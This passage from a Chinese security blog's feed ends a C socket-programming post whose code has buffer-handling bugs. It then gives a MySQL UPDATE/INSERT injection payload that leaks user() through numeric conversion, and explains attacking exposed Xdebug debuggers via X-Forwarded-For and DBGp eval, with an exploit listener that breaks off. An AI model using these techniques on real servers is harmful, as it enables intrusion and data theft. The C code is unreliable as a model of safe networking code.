class="line"><span class="keyword">if</span> (connect(fd, (struct sockaddr *)&server, <span class="keyword">sizeof</span>(struct sockaddr)) == <span class="number">-1</span>)</span><br><span class="line">{</span><br><span class="line">perror(<span class="string">"connect failed."</span>);</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">char</span> msg[<span class="number">1024</span>],decrypt_msg[<span class="number">1024</span>]; </span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (send(fd, argv[<span class="number">2</span>], <span class="built_in">strlen</span>(argv[<span class="number">2</span>]), <span class="number">0</span>) == <span class="number">-1</span>) </span><br><span class="line">{ </span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"send failed\n"</span>); </span><br><span class="line"><span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line"><span class="comment">//return EXIT_FAILURE; </span></span><br><span class="line">} </span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> (<span class="number">1</span>) </span><br><span class="line">{ </span><br><span class="line"></span><br><span class="line"><span class="built_in">memset</span>(msg, <span class="number">0</span>, <span class="keyword">sizeof</span>(<span class="number">1024</span>)); </span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"input text:"</span>);</span><br><span class="line">fgets(msg,<span class="keyword">sizeof</span>(msg),<span class="built_in">stdin</span>);</span><br><span class="line">msg[<span class="built_in">strlen</span>(msg)<span class="number">-1</span>]=<span class="string">'\0'</span>;</span><br><span class="line"><span class="keyword">if</span> (send(fd, msg, <span class="keyword">sizeof</span>(msg), <span class="number">0</span>) == <span class="number">-1</span>) </span><br><span class="line">{ </span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"send failed\n"</span>); </span><br><span class="line"><span class="built_in">exit</span>(<span class="number">1</span>); </span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span>{</span><br><span class="line"><span class="keyword">if</span> (recv(fd, msg, <span class="keyword">sizeof</span>(msg), <span class="number">0</span>) > <span class="number">0</span>)</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"messiges:%s\n"</span>, msg); </span><br><span class="line"><span class="keyword">if</span>(<span class="built_in">strcmp</span>(msg,<span class="string">"bye bye!"</span>)==<span class="number">0</span>)</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(decrypt_flag)</span><br><span class="line">{</span><br><span class="line"><span class="built_in">strcpy</span>(decrypt_msg,msg);</span><br><span class="line">decrypt(decrypt_msg);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"decrypt msg is:%s\n"</span>,decrypt_msg);</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"><span class="built_in">memset</span>(msg, <span class="number">0</span>, <span class="keyword">sizeof</span>(msg));</span><br><span class="line"><span class="built_in">memset</span>(decrypt_msg, <span class="number">0</span>, <span class="keyword">sizeof</span>(msg));</span><br><span class="line"></span><br><span class="line">} </span><br><span class="line"></span><br><span class="line">close(fd);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">decrypt</span><span class="params">(<span class="keyword">char</span> *msg)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="comment">//msg[0]='0';</span></span><br><span class="line"><span class="keyword">char</span> key[<span class="number">10</span>]=<span class="string">"2015021269"</span>;</span><br><span class="line"><span class="keyword">int</span> len=<span class="built_in">strlen</span>(msg);</span><br><span class="line"><span class="keyword">int</span> offset;</span><br><span class="line"><span class="keyword">int</span> data_len=msg[len<span class="number">-1</span>]-<span class="string">'9'</span>;</span><br><span class="line"><span class="keyword">int</span> i;</span><br><span class="line"><span class="comment">//printf("len is:%d\n",data_len);</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (offset = <span class="number">0</span>; offset < len; offset += <span class="number">10</span>)</span><br><span class="line">{</span><br><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; i < <span class="number">10</span>; i++)</span><br><span class="line">{</span><br><span class="line">msg[offset + i] = msg[offset + i] - key[i] + <span class="string">'0'</span>;</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">msg[data_len]=<span class="string">'\0'</span>;</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里多线程当中会涉及到一些变量安全的问题,因为所有线程都是共享变量的,所以这里会有一个线程安全问题,这里使用tsd的方式来实现线程安全,下面写一下线程安全的代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*server.c*/</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><unistd.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/types.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/socket.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><netinet/in.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><arpa/inet.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><pthread.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> PORT12345</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> BACKLOG10</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> MAXDATASIZE1024</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> FILL_CHAR <span class="meta-string">'x'</span></span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">revstr</span><span class="params">(<span class="keyword">char</span> *str)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">savedata</span><span class="params">(<span class="keyword">char</span>* recvbuf,<span class="keyword">int</span> len,<span class="keyword">char</span>* cli_data)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">saveendata</span><span class="params">(<span class="keyword">char</span>* recvbuf,<span class="keyword">int</span> len,<span class="keyword">char</span>* cli_data)</span></span>;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ARG</span> {</span></span><br><span class="line"><span class="keyword">int</span> connectfd;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_in</span> <span class="title">client</span>;</span></span><br><span class="line">};</span><br><span class="line"><span class="keyword">pthread_key_t</span> key;</span><br><span class="line"><span class="keyword">pthread_once_t</span> once = PTHREAD_ONCE_INIT;</span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">destructor</span><span class="params">(<span class="keyword">void</span> *ptr)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="built_in">free</span>(ptr);</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">creatkey_once</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">pthread_key_create(&key,destructor);</span><br><span class="line">}</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ST_DATA</span>{</span></span><br><span class="line"><span class="keyword">int</span> index,indexen;</span><br><span class="line">};</span><br><span class="line"><span class="function"><span class="keyword">void</span> *<span class="title">funtion</span><span class="params">(<span class="keyword">void</span> *arg)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">process_cli</span><span class="params">(<span class="keyword">int</span> connectfd, struct sockaddr_in client)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="keyword">int</span> listenfd, connectfd;</span><br><span class="line"><span class="keyword">pthread_t</span>tid;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ARG</span> *<span class="title">arg</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_in</span><span class="title">server</span>, <span class="title">client</span>;</span></span><br><span class="line"><span class="keyword">int</span> sin_size;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Create TCP Socket */</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>((listenfd=socket(AF_INET, SOCK_STREAM, <span class="number">0</span>))==<span class="number">-1</span>)</span><br><span class="line">{</span><br><span class="line">perror(<span class="string">"Create socket failed"</span>);</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">int</span> opt = SO_REUSEADDR;</span><br><span class="line">setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &opt, <span class="keyword">sizeof</span>(opt));</span><br><span class="line"></span><br><span class="line">bzero(&server, <span class="keyword">sizeof</span>(server));</span><br><span class="line">server.sin_family = AF_INET;</span><br><span class="line">server.sin_port = htons(PORT);</span><br><span class="line">server.sin_addr.s_addr = htonl(INADDR_ANY);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (bind(listenfd, (struct sockaddr *)&server, <span class="keyword">sizeof</span>(struct sockaddr))==<span class="number">-1</span>)</span><br><span class="line">{</span><br><span class="line">perror(<span class="string">"Bind error"</span>);</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (listen(listenfd, BACKLOG) == <span class="number">-1</span>) {</span><br><span class="line">perror(<span class="string">"listen error"</span>);</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">}</span><br><span class="line">sin_size = <span class="keyword">sizeof</span>(struct sockaddr_in);</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span>(<span class="number">1</span>) {</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>((connectfd = accept(listenfd, (struct sockaddr *)&client, &sin_size)) == <span class="number">-1</span>) {</span><br><span class="line">perror(<span class="string">"accept error"</span>);</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">arg=(struct ARG*)<span class="built_in">malloc</span>(<span class="keyword">sizeof</span>(struct ARG));</span><br><span class="line">arg->connectfd = connectfd;</span><br><span class="line"><span class="built_in">memcpy</span>((<span class="keyword">void</span> *)&arg->client,&client,<span class="keyword">sizeof</span>(client));</span><br><span class="line"><span class="keyword">if</span>(pthread_create(&tid,<span class="literal">NULL</span>,funtion,(<span class="keyword">void</span> *)arg))</span><br><span class="line">{</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">}<span class="comment">/*while()*/</span></span><br><span class="line">close(listenfd); <span class="comment">/* close listenfd */</span> </span><br><span class="line">} </span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">process_cli</span><span class="params">(<span class="keyword">int</span> connectfd, struct sockaddr_in client)</span> </span>{</span><br><span class="line"><span class="keyword">int</span> num;</span><br><span class="line"><span class="keyword">char</span> recvbuf[MAXDATASIZE], sendbuf[MAXDATASIZE], cli_name[MAXDATASIZE];</span><br><span class="line"><span class="keyword">char</span> cli_data[<span class="number">1000</span>];</span><br><span class="line"><span class="keyword">char</span> cli_endata[<span class="number">1000</span>];</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"You got a connection from %s.\n"</span>, inet_ntoa(client.sin_addr));</span><br><span class="line">num = recv(connectfd, cli_name, MAXDATASIZE, <span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span> (num == <span class="number">0</span>) {</span><br><span class="line">close(connectfd);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"cllient disconnected.\n"</span>);</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line">}</span><br><span class="line">cli_name[num] = <span class="string">'\0'</span>;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"Client name is %s.\n"</span>,cli_name);</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> (num = recv(connectfd, recvbuf, <span class="number">1024</span>,<span class="number">0</span>)) {</span><br><span class="line">recvbuf[<span class="built_in">strlen</span>(recvbuf)] = <span class="string">'\0'</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="built_in">strcmp</span>(recvbuf, <span class="string">"quit"</span>) == <span class="number">0</span>) </span><br><span class="line">{</span><br><span class="line">send(connectfd, <span class="string">"bye bye!"</span>,<span class="keyword">sizeof</span>(recvbuf), <span class="number">0</span>);</span><br><span class="line"><span class="comment">//printf("client %s close.\n",cli_name);</span></span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span>{</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"Received client (%s) message: %s\n"</span>, cli_name, recvbuf);</span><br><span class="line">savedata(recvbuf,<span class="built_in">strlen</span>(recvbuf)+<span class="number">1</span>,cli_data);</span><br><span class="line">revstr(recvbuf);</span><br><span class="line">saveendata(recvbuf,<span class="built_in">strlen</span>(recvbuf)+<span class="number">1</span>,cli_endata);</span><br><span class="line">send(connectfd, recvbuf,<span class="keyword">sizeof</span>(recvbuf), <span class="number">0</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"After encryption: %s\n"</span>,recvbuf);</span><br><span class="line"><span class="built_in">memset</span>(recvbuf, <span class="string">'\0'</span>, <span class="keyword">sizeof</span>(<span class="number">1024</span>));</span><br><span class="line">}</span><br><span class="line"><span class="comment">//send(connectfd, revstr(sendbuf,strlen(sendbuf)), strlen(sendbuf), 0);</span></span><br><span class="line">}</span><br><span class="line">close(connectfd);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"Client(%s) closed.\nUser's data:%s\nUser's en_data:%s\n"</span>,cli_name,cli_data,cli_endata);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> *<span class="title">funtion</span><span class="params">(<span class="keyword">void</span> *arg)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ARG</span> *<span class="title">info</span>;</span></span><br><span class="line">info = (struct ARG *)arg;</span><br><span class="line">process_cli(info->connectfd,info->client);</span><br><span class="line"><span class="built_in">free</span>(arg);</span><br><span class="line">pthread_exit(<span class="literal">NULL</span>);</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">revstr</span><span class="params">(<span class="keyword">char</span> *str)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="keyword">int</span> len = <span class="built_in">strlen</span>(str);</span><br><span class="line"><span class="keyword">char</span> key[<span class="number">10</span>]=<span class="string">"2015021269"</span>;</span><br><span class="line"><span class="keyword">int</span> i=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">int</span> new_len;</span><br><span class="line"><span class="keyword">int</span> offset;</span><br><span class="line"> <span class="keyword">for</span> (new_len = len; (new_len+<span class="number">1</span>) % (<span class="number">10</span>) != <span class="number">0</span>; new_len++)</span><br><span class="line"> {</span><br><span class="line"> str[new_len]=FILL_CHAR;</span><br><span class="line">}</span><br><span class="line"><span class="comment">//printf("new_len is:%d\n",new_len);</span></span><br><span class="line">new_len++;</span><br><span class="line"> str[new_len<span class="number">-1</span>]=len+<span class="string">'0'</span>;</span><br><span class="line"> str[new_len]=<span class="string">'\0'</span>;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"newstr:%s.\n"</span>,str);</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (offset = <span class="number">0</span>; offset < new_len; offset += <span class="number">10</span>)</span><br><span class="line">{</span><br><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; i < <span class="number">10</span>; i++)</span><br><span class="line">{</span><br><span class="line">str[offset + i] = str[offset + i] + key[i] - <span class="string">'0'</span>;</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">savedata</span><span class="params">(<span class="keyword">char</span>* recvbuf,<span class="keyword">int</span> len,<span class="keyword">char</span>* cli_data)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ST_DATA</span>* <span class="title">data</span>;</span></span><br><span class="line">pthread_once(&once,creatkey_once);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>((data=(struct ST_DATA *)pthread_getspecific(key))==<span class="literal">NULL</span>)</span><br><span class="line">{</span><br><span class="line">data=(struct ST_DATA *)<span class="built_in">malloc</span>(<span class="keyword">sizeof</span>(struct ST_DATA));</span><br><span class="line">pthread_setspecific(key,data);</span><br><span class="line">data->index=<span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">int</span> i = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">while</span>(i<len - <span class="number">1</span>)</span><br><span class="line">{</span><br><span class="line">cli_data[data->index++]=recvbuf[i];</span><br><span class="line">i++;</span><br><span class="line">}</span><br><span class="line">cli_data[data->index]=<span class="string">'\0'</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">saveendata</span><span class="params">(<span class="keyword">char</span>* recvbuf,<span class="keyword">int</span> len,<span class="keyword">char</span>* cli_data)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ST_DATA</span>* <span class="title">data</span>;</span></span><br><span class="line">pthread_once(&once,creatkey_once);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>((data=(struct ST_DATA *)pthread_getspecific(key))==<span class="literal">NULL</span>)</span><br><span class="line">{</span><br><span class="line">data=(struct ST_DATA *)<span class="built_in">malloc</span>(<span class="keyword">sizeof</span>(struct ST_DATA));</span><br><span class="line">pthread_setspecific(key,data);</span><br><span class="line">data->indexen=<span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">int</span> i = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">while</span>(i<len - <span class="number">1</span>)</span><br><span class="line">{</span><br><span class="line">cli_data[data->indexen++]=recvbuf[i];</span><br><span class="line">i++;</span><br><span class="line">}</span><br><span class="line">cli_data[data->indexen]=<span class="string">'\0'</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<h3 id="linux网络编程"><a href="#linux网络编程" class="headerlink" title="linux网络编程"></a>linux网络编程</h3><h4 id="ABOUT"><a href="#ABOUT" class="header
</summary>
<category term="网络编程" scheme="http://blog.leej.me/tags/%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B/"/>
</entry>
<entry>
<title>MySQL下Update、Insert注入技巧</title>
<link href="http://blog.leej.me/2017/10/23/MySQL%E4%B8%8BUpdate%E3%80%81Insert%E6%B3%A8%E5%85%A5%E6%8A%80%E5%B7%A7/"/>
<id>http://blog.leej.me/2017/10/23/MySQL下Update、Insert注入技巧/</id>
<published>2017-10-23T10:07:57.000Z</published>
<updated>2018-02-07T04:11:15.598Z</updated>
<content type="html"><![CDATA[<p>审计了不少代码,再看代码的时候最多出现的就是注入,很多都是在update还有insert的时候,利用起来可能都是比较固定,有时候思维僵化并没有去考虑过在这里的一些技巧,之前刚好看到文章这里记录一下.</p><a id="more"></a><h1 id="MySQL下Update、Insert注入技巧"><a href="#MySQL下Update、Insert注入技巧" class="headerlink" title="MySQL下Update、Insert注入技巧"></a>MySQL下Update、Insert注入技巧</h1><h3 id="0x01"><a href="#0x01" class="headerlink" title="0x01"></a>0x01</h3><p>首先要知道的一些内容</p><p>一 、</p><p>在之前的false注入中提到有关于字符串是会转成double处理 如果进行一些运算 会warning 当做0</p><p>二、</p><p>double的数据长度是八字节, 可以存储八个字符</p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1gy1fkrjc7meguj206703cjr5.jpg" alt=""> </p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1gy1fkrjoo6lrwj206603pgld.jpg" alt=""> </p><h3 id="0x02"><a href="#0x02" class="headerlink" title="0x02"></a>0x02</h3><p>不啰嗦其他的 这里一个例子说明 利用方式</p><p>原始mysql语句:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">UPDATE user SET name='leej';</span><br></pre></td></tr></table></figure><p>这里不用盲注入 想要之间回显结果 该如何?</p><p>既然字符串利用运算符号可以转为double的0,那就在这里操作</p><p>首先’leej’<==>0</p><p>‘leej’+666<==>0+666</p><p>‘leej’+conv(hex(user()),16,10)<==>conv(hex(user()),16,10)==>user()就可以以十进制的方式存进去了,这里只要找到user字段的输出就可以了.</p>]]></content>
<summary type="html">
<p>审计了不少代码,再看代码的时候最多出现的就是注入,很多都是在update还有insert的时候,利用起来可能都是比较固定,有时候思维僵化并没有去考虑过在这里的一些技巧,之前刚好看到文章这里记录一下.</p>
</summary>
<category term="注入" scheme="http://blog.leej.me/tags/%E6%B3%A8%E5%85%A5/"/>
</entry>
<entry>
<title>xdebug插件攻击</title>
<link href="http://blog.leej.me/2017/09/30/xdebug%E6%8F%92%E4%BB%B6%E6%94%BB%E5%87%BB/"/>
<id>http://blog.leej.me/2017/09/30/xdebug插件攻击/</id>
<published>2017-09-30T09:08:38.000Z</published>
<updated>2018-02-07T04:11:15.516Z</updated>
<content type="html"><![CDATA[<p>前一阵突然看到一个有关于xdebug的一个攻击面,不得不说这个想法还是很有意思的.自己搭环境记录一下.</p><a id="more"></a><h3 id="关于Xdebug的攻击"><a href="#关于Xdebug的攻击" class="headerlink" title="关于Xdebug的攻击"></a>关于Xdebug的攻击</h3><p>刚学php的时候用的phpstorm,当时为了动态调试,配置Xdebug配了很久,当时对这个有一个比较模糊的认识,当时觉得是在浏览器还有ide还有server之间是有某些数据交互的,第一次配的的时候当时ide一直监听收不到数据,当时想要是自己可以操作数据来测试哪里出问题就好了,一直耿耿于怀,前一阵突然看到一个有关于xdebug的一个攻击面,不得不说这个想法还是很有意思的.</p><h4 id="Xdebug调试的工作流程"><a href="#Xdebug调试的工作流程" class="headerlink" title="Xdebug调试的工作流程"></a>Xdebug调试的工作流程</h4><p>1.ide开始调试监听本地9000端口</p><p>2.浏览器发送一个带有XDEBUG_SESSION_START的请求发给服务端</p><p>3.服务端收到这个参数,就会通知xdebug</p><p>4.xdebug收到通知了就会向来源的地址的9000端口发送一个请求</p><p>5.ide收到请求并响应建立连接</p><p>之后就是相互通讯然后调试代码了</p><p>首先Xdebug有关于远程调试是使用的<a href="https://xdebug.org/docs-dbgp.php" target="_blank" rel="noopener">DBGp</a>协议</p><p>下面是有关于通讯流程的一个演示</p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1ly1fjzazq0tvyg20g6066q2y.gif" alt=""></p><h4 id="利用条件"><a href="#利用条件" class="headerlink" title="利用条件"></a>利用条件</h4><p>一般来说关于<strong>xdebug.remote_host</strong>这个配置默认是localhost也就是默认通讯的的都是localhost,这明显不利于我们的利用</p><p>但是如果<strong>xdebug.remote_connect_back</strong>这个配置启用的话xdebug.remote_host就会被忽略,并通过\$ _SERVER [‘HTTP_X_FORWARDED_FOR’]和\$ _SERVER [‘REMOTE_ADDR’]变量来获取ip</p><p>还有一个就是要开启<strong>xdebug.remote_enable</strong>,这个开关控制Xdebug是否应尝试联系正在监听主机和端口的调试客户端</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">xdebug.remote_connect_back = 1</span><br><span class="line">xdebug.remote_enable = 1</span><br></pre></td></tr></table></figure><p>也就是这两个是必要条件</p><h4 id="利用方式"><a href="#利用方式" class="headerlink" title="利用方式"></a>利用方式</h4><p>DBGp 的文档有一些敏感的操作</p><p>1.读文件</p><figure class="highlight plain"><figcaption><span>-i transaction_id -f fileURI```</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">2.eval</span><br><span class="line"></span><br><span class="line">```eval -i transaction_id - {DATA}</span><br></pre></td></tr></table></figure><p>只需要构造请求的参数,XDEBUG_SESSION_START=xxx</p><p>还需要构造XFF头</p><p>然后检测服务端是否对XFF的地址的9000端口进行请求,就可以判断是否可以利用,</p><figure class="highlight plain"><figcaption><span>'http://localhost/1.php?XDEBUG_SESSION_START</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">利用的exp这里之间粘贴原文章的,就是建立一个tcp的连接监听9000端口然后安装协议发送数据就可以了</span><br></pre></td></tr></table></figure><p>#!/usr/bin/python2<br>import socket</p><p>ip_port = (‘0.0.0.0’,9000)<br>sk = 